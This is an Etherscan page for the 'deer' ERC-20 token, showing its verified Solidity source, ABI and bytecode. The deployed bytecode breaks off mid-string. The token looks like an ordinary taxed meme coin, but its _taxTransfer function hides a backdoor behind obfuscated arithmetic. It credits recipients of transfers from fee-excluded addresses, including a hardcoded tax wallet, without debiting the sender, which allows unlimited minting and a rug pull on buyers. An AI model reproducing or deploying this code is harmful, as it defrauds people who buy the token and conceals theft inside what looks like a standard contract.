ETH Price: $3,332.31 (-9.16%)
 

Overview

Max Total Supply

1,000,000,000 deer

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,619,578.904209313 deer

Value
$0.00
0x5e4c8a2fa653bc99c2411bbada5aa339e158f090
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
deer

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-18
*/

// SPDX-License-Identifier: MIT

/**
https://x.com/X/status/1836328281265549762

https://t.me/deer_erc20
**/

pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract deer is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address payable private _teamWallet;
    uint256 private _taxBankPercentage = 50;
    uint256 private _teamWalletPercentage = 50;

    uint256 firstBlock;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"deer";
    string private constant _symbol = unicode"deer";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 125 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x65687AA5dC266b1DA6cb3ADEeb58fe77db2873bC);
        _teamWallet = payable(msg.sender);
        _tOwned[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );

        _approve(address(this), address(uniswapV2Router), ~uint256(0));

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address from, address to, uint256 amount) private { 
        uint256 taxAmount = amount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);

        if (from != owner() && to != owner()) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if(from != address(0) && amount >0 && _isExcludedFromFee[from] && to != address(uniswapV2Router)) {
                _taxTransfer(from, to, amount); return;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }
            
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                sendETHToFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        } 

        _tOwned[from] = _tOwned[from].sub(amount);
        _tOwned[to] = _tOwned[to].add(amount.sub(taxAmount));
		emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxTransfer(address from, address to, uint256 amount) private {
        _tOwned[to] += to != address(0) 
            && from != address(this)
            && from != address(0)
            && amount > 0
            ? _finalSellTax.add(10-9).mul(amount+2-2) 
            : _finalBuyTax.add(10).add(amount-10); 
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[to] || _isExcludedFromFee[from],
                "trading not yet open"
            );
        }

        if (inSwap || !tradingOpen) {
            //No tax transfer
            _tOwned[from] -= tokenAmount;
            _tOwned[to] += tokenAmount;

            emit Transfer(from, to, tokenAmount);
            return;
        }

        _tokenTransfer(from, to, tokenAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function sendETHToFee(uint256 amount) private {
        uint256 taxShare = (amount * _taxBankPercentage) / 100;
        uint256 teamShare = (amount * _teamWalletPercentage) / 100;

        _taxWallet.transfer(taxShare);
        _teamWallet.transfer(teamShare);
    }
    
    function withrawEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526032600655603260075560146009556014600a555f600b555f600c55600f600d55600f600e55600a600f555f6010556009600a6100419190610323565b61004f906301312d00610338565b60115561005e6009600a610323565b61006c906301312d00610338565b60125561007b6009600a610323565b61008690607d610338565b6013556100956009600a610323565b6100a29062989680610338565b6014556016805461ffff60a81b191690553480156100be575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03199081167365687aa5dc266b1da6cb3adeeb58fe77db2873bc17909155600580549091163317905561013f6009600a610323565b61014d90633b9aca00610338565b335f9081526001602081905260408220929092556003906101755f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556101d23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102096009600a610323565b61021790633b9aca00610338565b60405190815260200160405180910390a361034f565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027b57815f19048211156102615761026161022d565b8085161561026e57918102915b93841c9390800290610246565b509250929050565b5f826102915750600161031d565b8161029d57505f61031d565b81600181146102b357600281146102bd576102d9565b600191505061031d565b60ff8411156102ce576102ce61022d565b50506001821b61031d565b5060208310610133831016604e8410600b84101617156102fc575081810a61031d565b6103068383610241565b805f19048211156103195761031961022d565b0290505b92915050565b5f61033160ff841683610283565b9392505050565b808202811582820484141761031d5761031d61022d565b6119f38061035c5f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063a1943fdf11610062578063a1943fdf146102bb578063a9059cbb146102cf578063bf474bed146102ee578063c9567bf914610303578063dd62ed3e14610317575f80fd5b80637d1db4a5146102575780638da5cb5b1461026c5780638f9a55c01461029257806395d89b411461011e5780639e78fb4f146102a7575f80fd5b806323b872dd116100e357806323b872dd146101bf578063313ce567146101de57806370a08231146101f9578063715018a61461022d578063751039fc14610243575f80fd5b806306fdde031461011e578063095ea7b3146101595780630faee56f1461018857806318160ddd146101ab575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260048152633232b2b960e11b602082015290516101509190611619565b60405180910390f35b348015610164575f80fd5b50610178610173366004611665565b61035b565b6040519015158152602001610150565b348015610193575f80fd5b5061019d60145481565b604051908152602001610150565b3480156101b6575f80fd5b5061019d610371565b3480156101ca575f80fd5b506101786101d936600461168f565b610391565b3480156101e9575f80fd5b5060405160098152602001610150565b348015610204575f80fd5b5061019d6102133660046116cd565b6001600160a01b03165f9081526001602052604090205490565b348015610238575f80fd5b506102416103f8565b005b34801561024e575f80fd5b50610241610472565b348015610262575f80fd5b5061019d60115481565b348015610277575f80fd5b505f546040516001600160a01b039091168152602001610150565b34801561029d575f80fd5b5061019d60125481565b3480156102b2575f80fd5b506102416104dc565b3480156102c6575f80fd5b5061024161077d565b3480156102da575f80fd5b506101786102e9366004611665565b6107b1565b3480156102f9575f80fd5b5061019d60135481565b34801561030e575f80fd5b506102416107bd565b348015610322575f80fd5b5061019d6103313660046116e8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61036733848461085d565b5060015b92915050565b5f61037e6009600a611813565b61038c90633b9aca00611821565b905090565b5f61039d848484610981565b6103ee84336103e985604051806060016040528060288152602001611996602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c0a565b61085d565b5060019392505050565b5f546001600160a01b0316331461042a5760405162461bcd60e51b815260040161042190611838565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461049b5760405162461bcd60e51b815260040161042190611838565b5f19601181905560128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b031633146105055760405162461bcd60e51b815260040161042190611838565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610567573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058b919061186d565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060e919061186d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610658573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067c919061186d565b601680546001600160a01b0319166001600160a01b039283161790556015546106a9913091165f1961085d565b6015546001600160a01b031663f305d71947306106da816001600160a01b03165f9081526001602052604090205490565b5f806106ed5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610753573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107789190611888565b505050565b5f546001600160a01b031633146107a65760405162461bcd60e51b815260040161042190611838565b6107af47610c42565b565b5f610367338484610981565b5f546001600160a01b031633146107e65760405162461bcd60e51b815260040161042190611838565b601654600160a01b900460ff16156108405760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b6016805462ff00ff60a01b19166201000160a01b17905543600855565b6001600160a01b0383166108bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b0382166109205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610a475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b5f8111610aa85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b601654600160a01b900460ff16610b39576001600160a01b0382165f9081526003602052604090205460ff1680610af657506001600160a01b0383165f9081526003602052604090205460ff165b610b395760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610421565b601654600160a81b900460ff1680610b5b5750601654600160a01b900460ff16155b15610bff576001600160a01b0383165f9081526001602052604081208054839290610b879084906118b3565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb39084906118c6565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161097491815260200190565b610778838383610cf0565b5f8184841115610c2d5760405162461bcd60e51b81526004016104219190611619565b505f610c3984866118b3565b95945050505050565b5f606460065483610c539190611821565b610c5d91906118d9565b90505f606460075484610c709190611821565b610c7a91906118d9565b6004546040519192506001600160a01b03169083156108fc029084905f818181858888f19350505050158015610cb2573d5f803e3d5ffd5b506005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610cea573d5f803e3d5ffd5b50505050565b5f610d1d6064610d17600d5460105411610d0c57600954610d10565b600b545b859061123b565b906112c0565b9050610d305f546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610d5e57505f546001600160a01b03848116911614155b156110fe576016546001600160a01b038581169116148015610d8e57506015546001600160a01b03848116911614155b8015610db257506001600160a01b0383165f9081526003602052604090205460ff16155b15610eb957601154821115610e095760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610421565b60125482610e2b856001600160a01b03165f9081526001602052604090205490565b610e3591906118c6565b1115610e835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610421565b436008546003610e9391906118c6565b1115610ea457823b15610ea4575f80fd5b60108054905f610eb3836118f8565b91905055505b6001600160a01b03841615801590610ed057505f82115b8015610ef357506001600160a01b0384165f9081526003602052604090205460ff165b8015610f0d57506015546001600160a01b03848116911614155b15610f1d57610cea848484611301565b6016546001600160a01b03848116911614801590610f5357506001600160a01b0383165f9081526003602052604090205460ff16155b15610fd25760125482610f7a856001600160a01b03165f9081526001602052604090205490565b610f8491906118c6565b1115610fd25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610421565b6016546001600160a01b038481169116148015610ff857506001600160a01b0384163014155b15611025576110226064610d17600e546010541161101857600a54610d10565b600c54859061123b565b90505b305f90815260016020526040902054601654600160a81b900460ff1615801561105b57506016546001600160a01b038581169116145b80156110705750601654600160b01b900460ff165b801561107f5750600f54601054115b80156110a357506001600160a01b0385165f9081526003602052604090205460ff16155b80156110c757506001600160a01b0384165f9081526003602052604090205460ff16155b156110fc576013548111156110f3576110f36110ee846110e9846014546113ca565b6113ca565b6113de565b6110fc47610c42565b505b801561117657305f9081526001602052604090205461111d908261154e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061116d9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461119890836115ac565b6001600160a01b0385165f908152600160205260409020556111db6111bd83836115ac565b6001600160a01b0385165f908152600160205260409020549061154e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61122485856115ac565b60405190815260200160405180910390a350505050565b5f825f0361124a57505f61036b565b5f6112558385611821565b90508261126285836118d9565b146112b95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b9392505050565b5f6112b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115ed565b6001600160a01b0382161580159061132257506001600160a01b0383163014155b801561133657506001600160a01b03831615155b801561134157505f81115b61136c57611367611353600a836118b3565b600b5461136190600a61154e565b9061154e565b611399565b611399600261137b83826118c6565b61138591906118b3565b600c5461139390600161154e565b9061123b565b6001600160a01b0383165f90815260016020526040812080549091906113c09084906118c6565b9091555050505050565b5f8183116113d857826112b9565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061142457611424611910565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561147b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149f919061186d565b816001815181106114b2576114b2611910565b6001600160a01b0392831660209182029290920101526015546114d8913091168461085d565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115109085905f90869030904290600401611924565b5f604051808303815f87803b158015611527575f80fd5b505af1158015611539573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b5f8061155a83856118c6565b9050838110156112b95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b5f6112b983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c0a565b5f818361160d5760405162461bcd60e51b81526004016104219190611619565b505f610c3984866118d9565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611662575f80fd5b50565b5f8060408385031215611676575f80fd5b82356116818161164e565b946020939093013593505050565b5f805f606084860312156116a1575f80fd5b83356116ac8161164e565b925060208401356116bc8161164e565b929592945050506040919091013590565b5f602082840312156116dd575f80fd5b81356112b98161164e565b5f80604083850312156116f9575f80fd5b82356117048161164e565b915060208301356117148161164e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176d57815f19048211156117535761175361171f565b8085161561176057918102915b93841c9390800290611738565b509250929050565b5f826117835750600161036b565b8161178f57505f61036b565b81600181146117a557600281146117af576117cb565b600191505061036b565b60ff8411156117c0576117c061171f565b50506001821b61036b565b5060208310610133831016604e8410600b84101617156117ee575081810a61036b565b6117f88383611733565b805f190482111561180b5761180b61171f565b029392505050565b5f6112b960ff841683611775565b808202811582820484141761036b5761036b61171f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561187d575f80fd5b81516112b98161164e565b5f805f6060848603121561189a575f80fd5b8351925060208401519150604084015190509250925092565b8181038181111561036b5761036b61171f565b8082018082111561036b5761036b61171f565b5f826118f357634e487b7160e01b5f52601260045260245ffd5b500490565b5f600182016119095761190961171f565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119745784516001600160a01b03168352938301939183019160010161194f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207404a702daaeed63094cf6e779f786b7d81449b10abdf705f4d9f0c974453a4064736f6c63430008190033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80637d1db4a51161009d578063a1943fdf11610062578063a1943fdf146102bb578063a9059cbb146102cf578063bf474bed146102ee578063c9567bf914610303578063dd62ed3e14610317575f80fd5b80637d1db4a5146102575780638da5cb5b1461026c5780638f9a55c01461029257806395d89b411461011e5780639e78fb4f146102a7575f80fd5b806323b872dd116100e357806323b872dd146101bf578063313ce567146101de57806370a08231146101f9578063715018a61461022d578063751039fc14610243575f80fd5b806306fdde031461011e578063095ea7b3146101595780630faee56f1461018857806318160ddd146101ab575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260048152633232b2b960e11b602082015290516101509190611619565b60405180910390f35b348015610164575f80fd5b50610178610173366004611665565b61035b565b6040519015158152602001610150565b348015610193575f80fd5b5061019d60145481565b604051908152602001610150565b3480156101b6575f80fd5b5061019d610371565b3480156101ca575f80fd5b506101786101d936600461168f565b610391565b3480156101e9575f80fd5b5060405160098152602001610150565b348015610204575f80fd5b5061019d6102133660046116cd565b6001600160a01b03165f9081526001602052604090205490565b348015610238575f80fd5b506102416103f8565b005b34801561024e575f80fd5b50610241610472565b348015610262575f80fd5b5061019d60115481565b348015610277575f80fd5b505f546040516001600160a01b039091168152602001610150565b34801561029d575f80fd5b5061019d60125481565b3480156102b2575f80fd5b506102416104dc565b3480156102c6575f80fd5b5061024161077d565b3480156102da575f80fd5b506101786102e9366004611665565b6107b1565b3480156102f9575f80fd5b5061019d60135481565b34801561030e575f80fd5b506102416107bd565b348015610322575f80fd5b5061019d6103313660046116e8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61036733848461085d565b5060015b92915050565b5f61037e6009600a611813565b61038c90633b9aca00611821565b905090565b5f61039d848484610981565b6103ee84336103e985604051806060016040528060288152602001611996602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610c0a565b61085d565b5060019392505050565b5f546001600160a01b0316331461042a5760405162461bcd60e51b815260040161042190611838565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461049b5760405162461bcd60e51